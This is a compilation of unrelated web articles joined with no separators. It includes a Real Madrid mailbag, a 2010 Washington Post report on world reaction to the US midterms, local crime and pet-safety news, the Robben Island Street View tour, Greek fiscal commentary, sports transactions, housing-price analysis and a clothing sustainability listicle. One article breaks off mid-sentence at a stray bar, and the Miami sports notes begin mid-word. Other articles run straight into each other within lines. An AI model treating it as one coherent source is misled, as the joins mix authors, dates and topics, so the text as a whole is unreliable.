Here’s a really radical idea: Don’t sign anyone. Benzema is still in his prime (Aguero is pushing post-peak, Aubameyeng I love, but he’s the only dude I’d consider taking a gamble on if Benzema leaves, and Dybala has no reason to leave Juve), Morata is just about the best back-up striker you can ask for, James Rodriguez is literally one of the most exciting players in the world, and Asensio can barely get a lick already. Chill. Build. Let the continuity unravel.
Mateo, Mateo, Mateo. Do me a solid Matthew and read this column I wrote on Kovacic.
I’m not rationalizing it, but I’ll just let you know how it actually is being rationalized:
It costs 4 million to implement.
There is so much tension between the league’s president, Javier Tebas, and the Spanish Football Federation president, Angel Maria Villar, that they won’t even consider sitting down with each other to discuss it.
Yeah. It’s backwards.
Shit Ajlal, you really know the way to a man’s heart. These are always fun. I wish more questions like this (or about the team’s history, things we don’t normally talk about) came up more. A bit less mundane than the weekly player debates.
GK: De Gea, Casilla, Luca Zidane
DF: Carvajal, Vallejo, Jorge Mere, Varane, Diego Llorente, Alaba, Gaya, Achraf
MF: Marcos Llorente, James, Kovacic, Febas, Asensio, Ruben Neves, Isco
FW: Mayoral, Odegaard, Lucas Vazquez, Sergio Diaz, Alvaro Morata
*whispers - I will be wrong about this.
First of all, thank you Anton for being a Patron for our podcasts. Seriously, thanks from the bottom of my (and Gabe’s, and Eric’s) heart(s). Reminder: if you’re interested in supporting our podcasts, you can check out our Patreon page.
The women’s team is long overdue, no question. There is a matter of logistics involved — it is surprisingly difficult to launch a women’s team and build its infrastructure from scratch — which will probably lead Florentino to acquire an already established women’s team rather than build a new one. Either way, the difficulty in logistics isn’t a good excuse, and I hope the club figures this out soon.
This is a loaded question, and I’ve already written 1800+ words, so I’m going to save this for next week’s column — I promise.
This is kind of fun. What Conte is doing at Chelsea is sending shockwaves throughout Europe. He’s taken a group of journeymen and got them to buy into a cohesive scheme that’s running away with the Premier League title. In a theoretical situation where Conte takes over this team, I think he has some great tools to work with. Lucas Vazquez could slot into the Moses role nicely (or Carvajal, take your pick), and ditto Marcelo / Gareth Bale on the opposite flank where Marcos Alonso is having a nice season.
@KiyanSo @managingmadrid if llorente is to come in next season,which midfielder should be sold?given that the midfield is already very deep — Videep Ray (@RayVideep) February 6, 2017
Llorente’s position really isn’t deep, homeboy. He’s just added depth. He plays much deeper than most central midfielders in this team — or should, in theory anyway.
@KiyanSo @managingmadrid can you please explain a bit more about the whole storm in a teacup due to storms in Balaidos? — SR04 (@funkin_donuts) February 7, 2017
TLDR:
The weather in Vigo was a gong show, and damaged some of Balaidos, so the mayor of the city announced the game will be cancelled 30 hours in advance. This didn’t suit Real Madrid for obvious reasons. Real Madrid then released a statement to show, in writing, all the things they did to push for the game to happen, proposing alternative ideas like hosting the game elsewhere or closing off the damaged section of the stadium.
If I take off my Real Madrid shades, I can understand why Celta didn’t try very hard to make this game happen. Aside from footballing reasons, this would also hit them financially, and I think often we lack empathy towards our rivals. The world doesn’t revolve around Real Madrid, and it shouldn’t. I’m not going to take sides either way, but the entire ordeal seemed childish. If I’m Real Madrid, I want this game to happen at all costs, but if I’m Celta, I do not want to play this at an alternative venue.
OK, last one:
@KiyanSo @managingmadrid do you think Real will win their 12th UCL this year? — Adam™ (@adampfeifer8) February 7, 2017
Yes, I do — but not in a rational sense. I believe it because I have to — because I already committed to it. From my 2017 predictions piece for FourFourTwo:
Furthermore, Miran and I actually discussed this prediction at length (at the 16:40 mark) on my latest podcast.
Ok, I’m out. I appreciate you guys reading this, and just in case you’ve read till the end — our podcasts will resume this weekend after the Osasuna match. God speed.Around the world, concern over the global impact of U.S. elections
By Keith B. Richburg and Will Englund
Washington Post Foreign Service
Wednesday, November 3, 2010; 6:39 PM
BEIJING - World capitals on Wednesday braced for a new political order in Washington, as policymakers and analysts tried to assess the impact on foreign policy of a new Republican-led U.S. House, a diminished Democratic majority in the Senate and an American president many fear has been left weakened.
The midterm elections were watched particularly closely here in China, which was cast as a villain in campaign ads by candidates railing against American jobs being shipped overseas. Some feared that congressional Republicans would pressure the Obama administration to take a tougher line with Beijing on such issues as technology exports, cooperation on clean-energy projects and Chinese subsidies to state-owned companies that put U.S. firms at a disadvantage.
"It will be harder to build strategic mutual trust in the coming years," said Sun Zhe, a professor at Tsinghua University's Institute of International Studies. "China will face a tougher Congress."
Other analysts, however, thought the power shift could prove useful in reining in Democrats' "protectionist" tendencies.
"With more control by Republicans, I think the Obama administration's policy on China will be softened and more rational," said Su Hao, director of the Strategy and Conflict Management Research Center at China Foreign Affairs University.
In Moscow, there were fears that emboldened Senate Republicans might make a first test of their new clout the pending START treaty limiting nuclear arms. Although Democrats retained control of the Senate, Fyodor Lukyanov, editor in chief of the magazine Russian Global Politics, said it is clear that the Republicans will push for significant concessions from the administration in return for their support for ratifying the treaty.
"The American political situation will become more turbulent and less predictable than before," he said, adding, "I think [President] Obama is still very popular in Moscow power circles, where he's considered to be an extraordinary politician."
For decades, going back to the Soviet era, Moscow, much like China, preferred dealing with Republicans in Washington. But after a dramatic worsening of relations during the presidency of George W. Bush, the Kremlin has embraced Obama's "reset."
"Mr. Obama is the first American president after the Cold War who was not influenced by Cold War thinking," said Viktor Kremenyuk, deputy director of Moscow's Institute for U.S. and Canadian Studies. But, like Russia, the United States has a large contingent of people who still have a Cold War outlook, he said. "And the Republicans mainly now represent that part of the population which continues to think in Cold War terms."In the Middle East and the wider Islamic world, there were questions about whether a domestically weakened Obama would be able to pursue his goal of securing in his first term a final peace agreement between Israelis and the Palestinians. There was much pre-election commentary in Israel that Republican gains would make it harder for Obama to persuade Israel to make concessions in peace talks with the Palestinians. The Israeli daily newspaper Haaretz quoted Rep. Eric Cantor (R-Va.), who is expected to become the House majority leader, as saying a Republican victory "would have a tangible impact on improving the U.S.-Israel relationship."
In Indonesia, Masdar Mas'udi, deputy chairman of the country's largest Islamic group, said he feared the election results would hamper Obama's outreach to Muslims. "We now feel more pessimistic about his ability to solve the problem between the Muslim world and the West," he said.
In Pakistan, early reaction centered on fears that a divided U.S. Congress would take longer to approve military and civilian aid packages for the country. Last week, the Obama administration announced $2 billion in new military funding over five years for the Pakistani army, but the proposal awaits congressional approval.
There were questions in world capitals over whether Obama would be too politically weakened at home to pursue major initiatives abroad, or whether, like some of his predecessors in domestic difficulty, he would turn his attention more to foreign policy, where presidents still have more freedom to act.
"At the end of the day, a weak president means a weak United States," said Oren Nahar, foreign news editor at Israel Radio, speaking during a radio discussion of the election results. He speculated that the Democratic defeat would make it more difficult for Obama to take bold steps abroad, such as striking Iran over its nuclear capability.
Much as President Bill Clinton took solace abroad after the Democratic defeat in the 1994 midterms, so does Obama embark this week on a lengthy trip to Asia, where he will be able to put aside temporarily the political setback at home for a turn on the global stage, where he remains widely admired.
That sentiment is perhaps most pronounced in Kenya, where Obama's father was born, and Indonesia, where he has childhood roots.
In Kenya, Obama-mania remains strong, even though his star power appears to have lost some of its luster. In comments posted on the Daily Nation, the nation's most respected national daily, readers were divided over Obama's policies and whether he would win a second term.
And in Indonesia, Tin Sumartini Soemitro, sister-in-law to Lolo Soetoro, Obama's stepfather, said: "My opinion might not be objective, but Barry is very smart. As president, him receiving a lot of criticism - it's normal. It happens here, too. A president cannot make everybody happy all the time."
But Obama's popularity has plummeted in Pakistan. A Pew Research Center poll this summer found that just 8 percent of the public expressed confidence in Obama, the lowest percentage of any Muslim country.
"All the hype about hope and change that propelled Obama towards the White House in 2008 never seriously held out the prospect of a systemic overhaul," wrote Mahir Ali, a columnist for Dawn, a leading English-language newspaper.
Mexicans, and especially the leadership class, watched the U.S. elections closely and generally appeared to view the results with a mix of frustration and dread. Obama is still well liked south of the border, though his star has clearly dimmed. The United States is Mexico's No. 1 trading partner. But it is also the world's No. 1 consumer of illegal drugs.
"The Republican takeover of the House of Representatives would seem to be bad news for Mexico, in that the issues of greatest importance in the bilateral relationship - immigration reform and a halt to open sales of assault weapons which find their way into the hands of the organized criminal cartels - have little or no chance of passing," said Andres Rozental, a former Mexican ambassador and diplomat.
On the upside, the front pages of Mexico's major dailies all featured New Mexico Republican Susana Martinez as the first Hispanic woman elected governor in the United States. And President Felipe Calderon and his government breathed a sigh of relief that California declined to legalize recreational marijuana. "Legalizing marijuana would not reduce the violence or crime," said Alejandro Poire, Calderon's national security spokesman.
In Britain, the news media have spent recent weeks entertaining the public with tales of the colorful tea party politicians populating the U.S. campaigns. But fatigue and alarm crept in this week, with some voicing fears of what a Republican resurgence might mean.
"Obama has brought to America's international leadership an intelligence, grace and dignity most of the world justly esteems," columnist Max Hastings wrote. A decline in Obama's power, he added, would be "a tragedy not only for Americans, but for us all."
[email protected] [email protected]
Englund reported from Moscow. Washington Post correspondents Janine Zacharia in Jerusalem, Chico Harlan in Jakarta, William Booth in Mexico City, Sudarsan Raghavan in Nairobi, David Nakamura in Islamabad, Rebecca Omonira-Oyekanmi in London and researchers Wang Juan in Shanghai and Liu Liu in Beijing contributed to this report.
© 2010 The Washington Post CompanyThe 29-year-old Kenosha man accused of striking and killing an elderly man with his motorcycle Sunday allegedly hid the bike after the crash and then went to work, clocking in about 30 minutes after the man was killed.
Nathan P. Hubbard was charged Wednesday with hit-and-run resulting in death for the crash that killed Wesley A. Hironimus, 75, of Kenosha.
According to the criminal complaint, Hironimus was crossing 22nd Avenue near 61st Street and was walking in the southbound lane at about 8:30 p.m. when he was struck by a black motorcycle driven by a man wearing a black jacket and a dark helmet.
Several witnesses saw the crash or its aftermath, according to the complaint, describing the collision causing Hironimus “to flip in the air” and land on his face. One witness said she saw the motorcycle “wobble” and lose control after the collision. “When the driver did regain control, he sped off, southbound on 22nd Avenue and past Roosevelt Road,” the complaint states.
Several passersby stopped to try to aid Hironimus, who suffered massive injuries including a torn aorta, lacerated spleen, and multiple fractures to his spine, ribs and legs. He was taken to Kenosha Medical Center, where he was pronounced dead.
Meanwhile, according to the complaint, Hubbard drove to a friend’s home and parked his Harley-Davidson motorcycle in the backyard, then got a ride to his job in Pleasant Prairie, clocking in at 9:07 p.m., four minutes before Hironimus was formally pronounced dead at the hospital.
Assistant District Attorney Thomas Binger said Hubbard worked a full shift, punching out at 6 a.m. Monday, retrieving his motorcycle later that day and bringing it to a relative’s home in Salem, parking it in a shed.
Police had released photos on social media of the suspect taken from security video from a store he had stopped in shortly before the crash. On Tuesday, several witnesses told police they believed Hubbard was the driver in the crash.
Late Tuesday afternoon, Hubbard turned himself in to Kenosha Police after he hired a defense attorney. According to the complaint, he spoke to detectives about the crash and “stated that he did not know the significance of the injuries of the person he hit when he drove away.”
Defense attorney Loren Keating said there were “large and valid mitigating circumstances” in the crash and said his client cooperated with the investigation by turning himself in and by telling investigators where they could find his motorcycle.
Court Commissioner David Berman set a $10,000 bond for Hubbard. “Certainly it is tragic that someone died here,” he said, and said Hubbard’s alleged conduct was troubling “not so much in the accident but in everything he did subsequent to the accident.”
Hubbard is expected to appear in court for a preliminary hearing April 26.During the long years of racial apartheid it was a no-go zone off Africa’s southern tip, run so secretively that photographs of its most famous prisoner could never emerge.
Now Robben Island, a UN World Heritage site, is the latest and one of the most unusual additions to Google’s Street View. Users can follow in Nelson Mandela’s footsteps all the way into the spartan five sq metre prison cell where he languished for 18 years.
In contrast to the draconian censorship of the white-minority regime, Google was invited to tour with its Trekker backpack-mounted camera taking 360-degree panoramic photos of the island, which has variously served as a leper colony, quarantine station, mental hospital and political prison. It is now a museum and tourist attraction with a small resident population.
Facebook Twitter Pinterest A screengrab from the Google Street View tour of Robben Island showing Nelson Mandela’s cell door. Photograph: Guardian
Street View’s images include the house where Robert Sobukwe, the founder of the Pan Africanist Congress, was kept in solitary confinement, the quarry where political prisoners laboured and Mandela’s eyes were damaged by light and dust, and the courtyard where Mandela gardened a small plot and covertly began writing his autobiography, Long Walk to Freedom.
The Google project, which includes a virtual tour guided by former political prisoner Vusumzi Mcongo, comes after recent setbacks at Robben Island including complaints over the quality of the museum and breakdowns of the ferry that brings visitors from Cape Town.
Sibongiseni Mkhize, the chief executive of the Robben Island Museum, said: “The reason Robben Island is now a museum is to educate people about the part of South Africa’s heritage that is embodied in the island’s multi-layered history. Together with Google, we are making this heritage accessible to people all over the world.”
Facebook Twitter Pinterest Robben Island prison’s courtyard in the mid-1960s. Photograph: Sipa Press/Rex
The initiative was welcomed by a veteran of the anti-apartheid struggle, Ahmed Kathrada, a former inmate and close friend of the late Mandela. “Not being able to see or interact with children for 20 years was possibly the most difficult thing to endure during my time on the island,” he said. “There’s a poetic justice that children in classrooms all over the world will now be able to visit Robben Island using this technology.”
Google said it would also develop notes for teachers who will be using this interactive tour as an educational tool. Luke McKend, the director of Google South Africa, added: “Robben Island is a symbol of South Africa’s fight for freedom. We’re excited about helping people to learn more about this heritage and to explore the island from any device, anywhere in the world.”The Maharashtra government has already spent Rs 15 crore on the Chhatrapati Shivaji Maharaj Memorial that it plans to build off the coast of Mumbai, a Right to Information query showed, according to the Hindustan Times.
While the project has yet to take off, the state has paid Rs 10 crore to EGIS India Construction to make a project report and another Rs 5 crore to make arrangements for the memorial’s foundation ceremony, which was held in December 2016. The information was sought by RTI activist Anil Galgali, the report said.
The construction of the memorial will cost the state Rs 3,826 crore – the price quoted by the lowest bidder Larsen and Toubro. The project cost has risen more than 35 times since it was first conceived 12 years ago. In 2004, the budget was Rs 100 crore; it rose to Rs 700 crore in 2009, Rs 1,400 crore in 2013 and Rs 3,600 crore in 2016.
Earlier in November, the Maharashtra Coastal Zone Management Authority gave the project the required environmental clearances. Construction will begin in January 2018 and is expected to be completed by 2021.There’s a crucial thing absent from the Greek letter to the Eurogroup, outlining the reforms they intend to carry out: it’s as if Yanis Varoufakis’ laptop was missing the key marked €.
There are no costings for the Greek programme, and therefore no way of calculating how much “fiscal space” Greece has won from the former troika. “Fiscal space” in the Greek crisis is the codeword for non-austerity: how much relief from austerity did the Greek electorate gain by putting the Syriza-ANEL coalition into power?
We won’t know the answer until a crucial blank space is filled in. Greece is supposed to run a primary surplus on its budget – ie the opposite of a deficit – to the tune of 4 per cent of GDP. As the economy is tanking due to uncertainty, and tax receipts dried up in the last two months of the old government, that is impossible – and to achieve it would only require even further cuts to public spending.
So once we know what the overall budget envelope of Greece is going to be this year – and Varoufakis asked for just a 1.5 per cent surplus – we have a baseline against which to cost what they plan to do.
As flagged before it looks like they will be allowed to carry out the humanitarian aspect of Syriza’s so-called Thessaloniki Programme – ie anti-poverty measures. This, plus one of the most aggressive anti-tax avoidance offensives ever planned in the western world, is the centrepiece of Varoufakis’ plan.
If they are allowed to use €10bn in an earmarked fund to recapitalise the banks, then the issues that remain are ones that demarcate the radical left from the centre: privatisations, trade union rights, universal healthcare, pensions and the minimum wage.
On all these things, the fiscal implications are completely reliant on the way you implement them. Reversing privatisations, for example, was always going to be low on Syriza’s list; letting those underway go through sounds like a retreat. But privatising a port where workers have guaranteed union rights, moral support from the ruling party and where the government refuses to take kickbacks from vested interests, is quite different from the old system. My hunch is that such privatisations that are underway will go very slowly.
On pensions, limiting the Greek tradition of early retirement is going to require a “guaranteed basic income” for the over 50s – a one line promise but radical no less.
Another promise – universal access to healthcare in a country where tens of thousands have lost it – would be a major reform. It would free up the labour market for young people because setting up as self-employed involves crippling self-insurance costs to keep access to healthcare.
It’s common the hear western politicians promise to revive growth and balance the books through efficiency savings and a war on red tape. But Greece is the one country where inefficiency and bureaucracy are so entrenched that it might actually deliver. And it has to – because with or without an € key, Mr Varoufakis’ spreadsheets will not add up otherwise.
The arrangement with creditors still leaves Greece under week by week control, since the government is very short of cash. And if tax receipts don’t rebound, the country could actually need more in terms of short-term loans,
But the fiscal part of this story is not the whole story. What happened on 25 January was a social and psychological revolution: the end of a period that began in December 1944, whereby the left was excluded from power in Greece.
Many people who voted for Syriza are privately up in arms over the scale of the retreat – but they blame Germany first, Europe second and their own government a long, long third. They will, for now, swallow evisceration of their party’s programme on two conditions: one, that the government goes on delivering on non-fiscal policies.
It costs nothing, for example, to dissolve the detested riot squad DELTA, created after the unrest of 2008. The current plan is to “merge it” with the more established, less fascist infiltrated riot squads of the ordinary police. I would also expect the beefed up tax authorities to go in hard on a few symbolic members of the so called oligarchy.
Success in such endeavours would barely register at the ECB, yet be seen as massive delivery on promises by the 42 per cent of voters who voted left on 25 January.
Ultimately however, there may have to be a second big shift in Greece. The Syriza leadership miscalculated the level of support they would get from Italy, Germany, Britain and the USA – all of whom wanted the institutions to cut the Greek government more slack than they got.
The shock in Syriza’s upper echelons, symbolised by the expression on Alexis Tsipras’ face as he addressed the nation on Saturday, was real. It was the shock of realisation that, Germany was stronger than Italy and France combined, and that there really is no space inside the euro for a radical left government.
Since this realisation, many ordinary Greeks, and some previously pro-euro politicians and advisers, have come to the conclusion that Syriza should prepare Greece for a “controlled exit”. Instead of “we were kicked out”, it would be sold as “we escaped” – and I think however positively today’s deal is spun, the push for Grexit will grow stronger as constraints become obvious.
Follow @paulmasonnews on Twitter and FacebookPolice in Thornbury believe someone is trying to harm pets at a local park.
Anne O'Hara is keeping a closer eye on her golden retriever Biggins these days, watching his every move and everything he sniffs out. This is after learning meat filled with nails was found at nearby Moreau Park.
“It’s ridiculous, terrible,” she says. “We've never had any problems with dogs and people complaining about them.”
A parent playing with their young child discovered several pieces of chicken spiked with small finishing nails scattered in the area next to a playground and an off-leash dog area. The park is a popular area for dog owners and many here can't imagine why anyone would do this.
“Any problem like this in a public area is just a sick side of society and can't be condoned,” says John Corrigan.
Claire Brooks adds, “If they see a piece of meat that's there they will go after it right away and we might not be able to get it in time. So it’s awful, I’m disgusted.”
OPP believe they have collected all of the meat and say there weren’t any injuries to people or pets. But police don't know who is responsible or what their motive was.
“It certainly is concerning that this was deliberately placed here by someone who wanted to harm someone’s pet or child,” says OPP Const. Martin Hachey.
Doctor Nicola Haessler has been a veterinarian in the Blue Mountains for a decade and has never heard or seen anything like this before. She says the nails are small enough for a dog to pass if consumed but the internal damage can be deadly.
“It would be pretty easy for these nails to perforate the intestines and stomach and that could lead to an infection that could be life threatening,” she says.
Haessler says pet owners should keep a close eye on their dogs for any unusual behaviour or vomiting. As for pet owners, many say they will continue to bring their dogs to the park but will be extra cautious.
Police are warning parents and pet owners to be careful when at the park and to keep their pets on leashes. If you find anything suspicious, police say to bag it and report it immediately.Three Christian civilians were given shelter by their boss as ISIS-inspired militants went door to door killing non-Muslims in the southern Philippine city of Marawi.
They were hiding in their boss’ basement for weeks before fleeing for their lives at dawn last Tuesday.
Ian Torres, a 25-year-old man who had come to Marawi for a job, said the militants were hunting for Christians and other minority groups door to door.
The militants, local insurgent groups loyal to ISIS, began their attack on the city on May 23, announcing that they intended to create a caliphate in the Philippines’ only Muslim-majority city.
Since the beginning of their assault, the militants have killed more than 300 people, according to Philippine military.
According to their account and other people who have fled the city, a number of local Muslims have been risking their lives to protect their Christian friends and workers.
Weeks ago, another Muslim man gave shelter to 64 Christians in his home as terrorists were hunting for them.
Noor Lucman, a Muslim who lives in Marawi, gave shelter to Christians were working near his home as militants were attacking Marawi, the capital city of about 200,000 people on the Philippine island of Mindanao.
Lucman said after he had fled the city, Christians “couldn't leave the city, so I had to take responsibility in protecting them.”MONTREAL, QC - Boston Bruins General Manager Don Sweeney announced today, November 6, that the club has assigned forward Alex Khokhlachev to the Providence Bruins (American Hockey League) and recalled Frankie Vatrano from the Providence Bruins. Vatrano will join Boston in Montreal and be eligible for Saturday night’s game against the Montreal Canadiens at the Bell Centre.
This marks Vatrano’s first NHL recall.
Vatrano leads the American Hockey League in goals, scoring 10 in 10 games played with the P-Bruins, while also tallying two assists. Vatrano’s 12 points are tied for third highest total in the AHL with two other skaters. For his efforts, he was named the CCM/AHL Rookie of the Month in October.
At the AHL level, the 21-year-old has skated in 15 games (five in 2014-15 and 10 in 2015-16), potting 11 goals and two assists with four penalty minutes.
Vatrano finished up his the 2014-15 season at UMass-Amherst with 18 goals (six power play goals) and 10 assists for 28 points in 36 appearances. The forward’s 18 goals led the squad, while his 28 points ranked second on the team. Vatrano appeared in one game for the Minutemen in 2013-14.
The 5’9’’, 201-pound forward was signed by Boston as a free agent on March 13, 2015 and hails from East Longmeadow, MA.
Khokhlachev skated in two games for Boston this season after being recalled on November 3. For his NHL career, the 22-year-old has appeared in six games in a Bruins uniform with two penalty minutes. This season in Providence he has played in 10 games and has tallied 13 points on four goals and nine assists. The 13 points lead the team and currently rank tied for the third in the AHL.
TRANSACTIONS: Boston Bruins assign Alex Khokhlachev to Providence and recall Frankie Vatrano from Providence.U.S. home prices as measured by the Case-Shiller index have now fallen by more than they did during the Great Depression, according to Capital Economics.
Paul Dales, senior U.S. Economist at Capital, said the Case-Shiller index released earlier on Tuesday — which tracks prices of single-family home in 20 major U.S. cities — are now 33% below the 2006 peak and back at a level last seen in the third quarter of 2002, edging out the 31% dip seen in the Depression of the 1930s.
“On that occasion, the peak in prices was not regained until 19 years after they first fell,” Mr. Dales said.
“The similarities between the current downturn and that seen during the Great Depression are striking,” Mr. Dales said in a note. He pointed out that on both occasions, prices initially fell by 31% and, after a temporary rebound, dropped back by 7%, the dreaded double-dip.
Double-dips are not on uncommon though. Denmark, the U.K. and Sweden all saw prices fall for a second time during the 1980s and 1990s, he notes.
Mr. Dales said the bottom has not yet been reached in U.S. housing: “We think that prices will fall by at least a further 3% this year, and perhaps even further next year.”
However he does offer a glimmer of hope. The rate at which prices are falling appeared to stabilise at 0.2% m/m in March.
“Moreover, the latest fall in prices has made housing appear even more undervalued,” he said.11 Clothing Habits That Help the Environment and Your Wallet
Levi’s estimates that a pair of their 501 jeans uses 3,781 liters of fresh water over the course of its life. For reference, that’s enough to soak them in a completely full bathtub over 30 times. You can break down pretty much anything produced in our economy in terms of the water needed to produce it. A cup of coffee is about 55 gallons (mostly to grow the beans), a cheeseburger uses 660, and a roundtrip economy flight from LA to New York is a little over 5,000.
A single pound of cotton takes about 100 gallons of water and the average American throws away 65 pounds of clothing every year.
Energy and agriculture are often the first areas mentioned when it comes to our environmental impact, but the clothing we wear has an undeniable effect on the world we live in. Fresh water is becoming a scarcer and scarcer resource the more people there are on the planet to use it.
While larger governmental policy decisions are extremely important, there are a host of everyday things we all can do to reduce our own impact. The raw denim/heritage/vintage style is already one of the most environmentally friendly around, so many of the below may seem obvious if you’ve been in this for a while. One of the biggest complaints I hear against going green is that it’s too expensive, but here are nearly a dozen ways that it’s not only more environmentally friendly but also cheaper to go green.
1. Don’t Buy Pre-Distressed
Environmentally speaking, what we’re looking for in our clothing is utility value. Basically, how much use you can get out of a thing divided by the amount of resources it took to create it. Alden shell cordovan boots, for example, might use twice the resources in terms of leather, cork, metal, and time in production as a pair of Cole Haan’s you’d buy at the mall, but the Alden’s will last you ten times as long. For proof, see my dad’s cordovan Aldens he bought in 1982 and still wears today.
Your utility value can be increased either by minimizing resources the resources used to make your items or maximizing how much you use them. The easiest way to increase the latter is to buy items that are as hardy and durable as possible. This means clothes that haven’t been “pre-worn” by lasers, enzyme washes, and sandblasting. Pre-distressed (or as William Gibson put it “pre-digested“) garments by definition can’t be worn as long or as hard as ones haven’t had their lives tortured away before you ever even put them on.
Besides decreasing the usefulness of a garment, distressing also uses even more resources and creates even more pollutants to break down the clothes before they’re ever even worn. This cycle is asinine! Stop it by only buying new clothes that are actually new and not pre-chewed by machines.
2. Repair Don’t Replace
The best way to extend the life of your clothing is to not let it die. Some of our readers have patched, darned, and mended their jeans dozens of times to keep them alive for years of continuous wear. I have a pair of LVC jeans that I’ve repaired the crotch eight times alone.
Aside from your local tailor, there are many reputable repair shops you can send your jeans to all over the country for nearly seamless repairs. But the best way is often to do it yourself; you can find a used sewing machine on Craigslist or eBay for under fifty bucks and with our guide to DIY repairs, have whatever item you need mended at any time.
So get your jeans restitched, put a new sole on your shoes, and rewax that jacket. It ain’t over ’til you’ve wrung out every last penny and ounce of natural resources. Of course, if you’re desperate to get that worn in look, you might be in the market to…
3. Buy Used and Vintage
We all know the economic principle of supply and demand–the more demand for a product, the greater the supply will grow to match it. For example, when you buy a new pair of boots from Red Wing, Red Wing gets the message and the money from your purchase and goes, “Hey, we should make another pair to replace the one that just sold!” which perpetuates the endless cycle of production and consumption.
Do you know what breaks that cycle? Buying used! Once an item is out of the sales reach of the company that made it, they have no reason to (and oftentimes can’t) create another. Used and vintage clothes have already squared their existential debt with the manufacturer, so you can buy as much as you want with a relatively clean conscience. And except in the case of collector’s pieces, secondhand pieces are often much, much cheaper than what you’d buy new.
If your tastes expand beyond the local thrift store, check out websites like eBay, Grailed, and a variety of vintage stores that allow you to shop from decades and centuries past.
4. Wash Your Clothes Less
Even the most efficient washing machines use about 15 gallons of water per cycle. The average top-loading washing machine can use up to 45. Think about those half to one and half full bathtubs swirling down the drain every time you consider doing a load. You’re not procrastinating, you |
-high 61 tackles.
### Our Adam Beasley has a story on the home page that Miami "definitely" wants Lamar Miller back.
### Via Jeff Ostrowsky the Palm Beach Post, Dolphins owner Stephen Ross made some eyebrow-raising comments in a speech today to the Palm Beach Civic Association.
“After three years, if we haven’t made the playoffs, we’re looking for a new coach,” Ross said. “That’s just the way it is. The fans want it.”
[The Dolphins indicated later that Ross was not giving an ultimatum to Gase but instead talking about how things work now in the NFL.]
He also said: “Instead of getting a retread that really hasn’t had a great track record as head coach, I was looking for somebody that really could be the next, if you will, Bill Belichick, Bill Parcells, you know, really great head coach, and I think we got one.”
According to that Palm Beach Post piece, Ross also the Richie Incognito/Jonathan Martin "bullying incident was really a product of racism."
And he said: “It’s a lot easier to succeed in business than it is to create a winning football team. I’m going to get it right yet.”
HEAT TALK
After a first half featuring riveting wins against Oklahoma City and Cleveland and dumbfounding home losses to Minnesota and Brooklyn, Luol Deng has one question about his 29-24 team.
“Who are we? Who is the Miami Heat?” Deng asked in a conversation with two reporters as the team adjourned for the All-Star break last week.
“We’ve shown how good we can be at times,” Deng said. “We’ve shown we can score. We’ve shown we can defend. We’ve shown we can rebound. It’s about consistency and doing it every night. We have the talent.”
The Heat returns to practice Wednesday after seven days off --– Miami resumes play Friday at Atlanta --- and here’s what the organization knows:
### Despite allowing a season-high 119 points last Tuesday against San Antonio, the Heat generally has been stout defensively. Miami allows 96.3 per game, second behind only San Antonio.
Teams are shooting 44 percent against the Heat, which ranks seventh.
### The Heat doesn’t play with the tempo it hoped.
Miami ranks just 29th in possessions. Even though Erik Spoelstra and Goran Dragic want to push the pace more, much of the first unit isn’t well suited to an up-tempo game.
“Sometimes you need to play perfect defense and perfect offense against the top teams to try to beat them [at this pace],” Dragic said. “Hopefully, we can start playing a little bit faster, have more possessions.”
### Here’s the Heat’s biggest shortcoming: Miami is averaging 96 points per game, ahead of only Philadelphia.
One major reason for that: Miami shoots only 32.3 percent on three-pointers, ahead of only Minnesota and the Lakers.
The Heat has explored adding a skilled shooter by Thursday’s 3 p.m. trade deadline but has few appealing and available assets to offer in return. Miami has dealt three future first-round picks and is prohibited from trading another first-round pick until after this June's draft.
Chris Bosh said last week that the Heat could use another shooter and that opponents sag off of some of the Heat’s wing players.
"It would help if we could knock them down more consistently,” Bosh said. “Justise [Winslow] is still getting used to the three-point line. He's had some good nights but he's had some nights he's struggled."
Though Bosh already has hit a career-hit 81 threes, on 36.5 percent accuracy, Josh McRoberts is shooting just 3 for 24 on threes (two seasons after sinking 105 threes on 36.1 percent shooting for Charlotte) and Gerald Green is making 31.9 percent of his threes, down from 36.2 two seasons ago.
Also, Dragic has made 40 threes, on 33.1 percent accuracy, two seasons after sinking 122 threes for Phoenix and making 40.8 percent of his attempts. And Winslow shoots 25.8 percent on threes.
“We may be different than other teams,” Spoelstra said. “We're not going to be a team that's shooting 40 threes a game. That's not playing to our strengths. But we have guys that can knock down timely ones.”
Heat president Pat Riley said on TNT last week that "I want to win now. I'm getting too old to win down the road. I want to win now."
But Wade said “we’re not in the upper echelon of the league…. We’ve made strides and we have to continue to make strides. It’s got to get more consistent. We’ve gotten better. We’re just not as good as the Golden States and San Antonios and the Clippers and those teams playing really good basketball.
“For the first half of the season, we’ve had some good moments. We’ve also had some not so good losses and a few bad moments here and there. But we’re still in the thick of things.”
Miami stands fifth in the East, two games behind No. 3 Boston, one behind No. 4 Atlanta and 6.5 behind No. 2 Toronto but just one game ahead of No. 6 Indiana.
Dragic said the 29-24 record is below the Heat’s talent level and Bosh said: "I think we're capable of doing better but I'm not a what if guy. In the grand scheme of things, we're [two games] out of third. It's always hard to get over that last hump but we're capable of doing it. We want to be playing our best basketball late March, early April. That's when we want to peak."
Among network pundits, Doug Collins expressed concern about the Heat’s point production, Jeff Van Gundy noted the offense is more potent with Hassan Whiteside on the bench, and Charles Barkley said: “The only guy that’s going to make a difference on that team and take them deep in the playoffs is Hassan Whiteside. And I think he’s too inconsistent to do that."
TRADE REPORT
We reported yesterday that the Heat is opening to considering offers for Hassan Whiteside, and New York Daily News NBA writer Frank Isola reports today that Miami has spoken to Houston about a trade involving Whiteside and Dwight Howard.
But the Heat would need to send off players making more than $20 million (combined) to make this work within the confines of the salary cap. Whiteside makes just $981,000, making this complicated.
So the Heat could make this work by including Luol Deng ($10.2 million), Chris Andersen ($5 million) and Josh McRoberts ($5.5 million), but Miami then would need another cheap wing player from Houston to replace Deng in this HYPOTHETICAL scenario (perhaps Marcus Thornton)?
Howard, 30, is averaging 14.6 points, 12.0 rebounds, 1.5 blocks and shooting 61.2 percent from the field. Whiteside, 26, is averaging 12.2 points, 11.0 rebounds, 3.9 blocks and shoots 61.7 percent from the field.
Howard is just four years older than Whiteside but has much more wear and tear on his body. Howard has played in 937 NBA games (regular season and playoffs), compared with 112 for Whiteside.
Howard has an opt-out clause in his contract after this season and he's expected to exercise it. Unlike Whiteside, Howard has full Bird Rights. So the team acquiring Howard could pay him more than other suitors could.
Another report today, from radio reporter Adam Spolane, said the Hawks also are involved in the Heat/Rockets discussions and Miami has discussed trading Goran Dragic as part of that deal, with Al Horford and Jeff Teague coming to Miami.
